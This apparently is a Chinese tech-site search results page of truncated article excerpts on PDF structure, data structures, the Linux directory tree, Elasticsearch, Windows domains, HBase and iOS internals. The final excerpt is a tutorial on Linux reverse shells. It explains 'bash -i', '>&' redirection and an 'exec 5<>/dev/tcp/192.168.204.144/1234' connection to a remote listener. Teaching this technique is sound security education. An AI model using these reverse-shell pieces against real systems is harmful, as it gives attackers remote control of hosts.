首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

PDF标准详解(一)——PDF文档结构

好了,废话就到这里,下面开始正式介绍PDF相关的内容 PDF简介 PDF的全称是 Portable document format(可移植文档格式),是描述打印页面的世界领先语言。...PDF的文档结构 PDF主要由四个部分构成,文件头、文件体、交叉引用表以及文件尾 文件头将文件标识为PDF并给出它的版本号,例如 %PDF-1.0 % PDF 版本号为 1.0 的文件头 文件体是...,只单独解析某个对象,提高了解析效率 文件尾给出交叉引用表的位置并且以 %%EOF 作为结尾 PDF文件的逻辑结构 一个标准的PDF文档需要在文件体中包含下列元素对象: 根节点元素,类似于xml的根节点...Tj来定义,并且定义了字符采用F0 字体,也就是上面定义的Times-Italic字体 页面相关的内容我们已经定义完了,接着我们需要定义一些结构相关的对象,方便PDF解析器找到并解析页面内容。...0 最后我们以 %%EOF 结尾来表示整个PDF文档结束 到这里我们已经得到了一个PDF阅读器可以打开的PDF文档。

64611
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    《数据结构与算法分析:Java语言描述》.pdf

    程序=数据结构+算法 这好比是软件工程师的“武林秘籍”。 数据结构指的是数据与数据之间的逻辑关系;算法指的是解决特定问题的步骤和方法。...可以说数据结构是待处理问题的数学模型,算法则是处理问题的策略。 ? 作为软件工程师,除了要对现实问题有很好的理解与把控外,还要深谙数据结构与算法。...这样才能找到合适的数学模型与算法,进而为后续工作的顺利进行打下坚实的基础。...最近很多小伙伴问我要一些 数据结构与算法 相关的资料,于是我翻箱倒柜,找到了这本非常经典的电子书——《数据结构与算法分析:Java语言描述》。...资料介绍 《数据结构与算法分析:Java语言描述》是国外数据结构与算法分析方面的经典教材。

    1.6K50

    Linux之文档与目录结构

    Linux文件系统结构 Linux目录结构的组织形式和Windows有很大的不同。首先Linux没有“盘(C盘、D盘、E盘)”的概念。...在Linux底下,所有的文件与目录都是由根目录开始,是目录与文件的源头,然后一个个的分支下来,如同树枝状,因此称为这种目录配置为:目录树。 目录树的特点是什么呢?...绝对路径与相对路径 Linux下特别注意文件名/路径的写法,可以将所谓的路径(path)定义为绝对路径(absolute)和相对路径(relative)。...这个.与..目录概念非常重要,平时经常会看到cd ..或者python ../home/oldboy/exam.py 就是代表进入上一层与执行相对路径的python代码!...1.linux是以 / 开始的树状目录结构,tree查看 2.常用文件目录操作命令是ls,cd,mkdir,rmdir 3.Linux的PATH查看是 echo $PATH,可以修改/etc/profile

    1.3K30

    Elasticsearch 原理(上) -- 文档存储结构与索引数据结构

    作为一个优秀的分布式存储、搜索组件,了解 elasticsearch 的工作原理对于我们日常使用和技术提升都是非常有必要的。 本文,我们就抽丝剥茧,详细看看这个强大的分布式搜索引擎是如何工作的。...例如,mysql 通过多分支的 B+ 树索引,成功减少了磁盘 IO 次数,同时兼顾了范围查询等功能与写入性能,但因为 B+ 树作为多分支树,在其分支数量与高度的限制下,当数据库容量增长到一定程度,随之造成的磁盘...同时,FST 是一种十分节省内存的树结构,后面有时间博主再单独发文章来介绍这个数据结构。...posting list 为 [1, 3, 4, 7, 10],那么可以按二进制位建立一个 bitset:[1, 0, 1, 1, 0, 0, 1, 0, 0, 1] 多个 bitset 只需要进行按位与操作就可以得到最终的交集...后记 本文详细介绍了 Elasticsearch 借以实现极高的查询性能的底层文档存储结构与索引结构。 那么,集群上多个 node。 之间是如何相互协同工作的呢?他们是如何实现数据的写入和读取的呢?

    3.3K20

    Windows认证原理:域环境与域结构

    用户依次登录就可以访问整个网络资源,集中地身份验证 可扩展性,既可以适用于几十台计算机的小规模网络,也可以用于跨国公司 域的原理 其实可以把域和工作组联系起来理解,在工作组上你一切的设置比如在本机上进行各种策略...信任关系是连接在域与域之间的桥梁。...父域与子域之间自动建立起了双向信任关系,域树内的父域与子域之间不但可以按需要进行相互管理,还可以跨网分配文件和打印机等设备资源,使不同的域之间实现网络资源的共享与管理,以及相互通信和数据传输。...与 fr.europe.abc.com 自动建立起了双向信任关系。...infrastructure master (结构主机角色) : 结构主机角色是域范围的角色,每个域一个。

    2.4K11

    HBase的数据结构原理与使用

    二、HBase的数据结构 1、索引结构:LSM树 传统关系型数据普通索引采用B+树。...LSM树严格来说不是一个具体的数据结构,更多是一种数据结构的设计思想。LSM树不是一棵树,而是由至少两个存储结构构成。...读也是读内存里的 SSTable的索引,并且这里每一个SSTable索引如果用二分法查找,算法复杂度大致在O(lg(n))与O(n)之间,因此随机读也不慢。...3、表结构 与传统的关系型数据库类似,HBase也以表的形式组织数据,表也由行和列组成,不同的是,HBase采用列式存储。...参考文献: 胡争,范欣欣.HBase原理与实践M.北京:机械工业出版社,2019 O’Neil, P., Cheng, E., Gawlick, D., & O’Neil, E. (1996).

    2.9K00

    ios 底层原理 : 类与类结构分析

    类的分析 类的分析主要是分析 isa 的走向与继承关系 准备 创建两个类 1.继承自 NSObject 的 LGPerson @interface LGPerson : NSObject {...有 isa 属性,所以对象都有一个 isa,isa 表示指向,来自于当前的 objc_object objc_object 是当前的根对象,所以所有的对象都拥有 isa 属性 objc_object 与对象的关系...所有对象都是以 objc_object 为模板继承过来的 所有对象都来自于 NSObject,但是其底层是一个 objc_object 的结构体类型 所以 objc_object 与对象的关系是继承关系...,上层 oc 与底层的对接 下层是由结构体定义的模板 objc_class objc_object 上层是通过底层模板创建的一些类型,比如 LGPerson objc_object objc_class...property_list_t,是一个指针,所以通过p *$来取值,同时证明了bits里面存储了属性列表property_array_t 问题:探索成员变量的存储 由此可以得出,property_list中并没有成员变量,属性与成员变量的区别就是有没有

    63020

    Linux系列(一):简介与目录结构

    1、Linux简介 1.1、起源 Linux出现于1991年,是由芬兰赫尔辛基大学学生Linus Torvalds和后来加入的众多爱好者共同开发完成 1.2、Linux特点 多用户,多任务,丰富的网络功能...2、Linux目录结构 bin (binaries)存放二进制可执行文件 boot 存放用于系统引导时使用的各种文件 dev (devices)用于存放设备文件 home 存放用户文件的根目录 mnt...vs Windows 目前国内 Linux 更多的是应用于服务器上,而桌面操作系统更多使用的是 Windows。...主要区别如下 比较 Windows Linux 界面 界面统一,外壳程序固定所有 Windows 程序菜单几乎一致,快捷键也几乎相同 图形界面风格依发布版不同而不同,可能互不兼容。...GNU/Linux 的终端机是从 UNIX 传承下来,基本命令和操作方法也几乎一致。 驱动程序 驱动程序丰富,版本更新频繁。

    30840

    Linux环境反弹shell原理与姿势

    环境中如何通过命令执行来反弹shell 基础知识 描述符类 文件描述符(File Descriptor,FD)是一个非负整数,用于标识进程打开的文件或其他输入/输出资源(例如:管道、网络套接字等),在Linux...文件描述符的主要用途包括: 访问普通文件 访问设备文件 访问网络连接 管道和FIFO通信 在Linux中进程在启动时会自动打开三个文件描述符: 标准输入:standard input 0(默认设备键盘)...(stdin)从默认设备(通常是键盘)重定向到其他数据源(例如:文件或其他命令输出)的机制,它允许用户在命令行中使用文件作为输入,而无需手动输入数据,在Linux命令行中输入重定向通常使用"<"符号进行...启动一个新的Bash shell的命令 -i:此选项表示以交互模式启动Bash shell,交互模式允许用户输入命令并立即接收输出,这使得在远程连接时更加灵活和实用 2、>& >:表示重定向输出 &:结合与前面的重定向结合使用...用于执行指定命令或改变当前shell进程的文件描述符 5:这部分表示打开一个新的文件描述符5并且是双向的(可以读和写) /dev/tcp/192.168.204.144/1234:这个特殊的设备文件允许通过TCP协议与指定的

    11010
    领券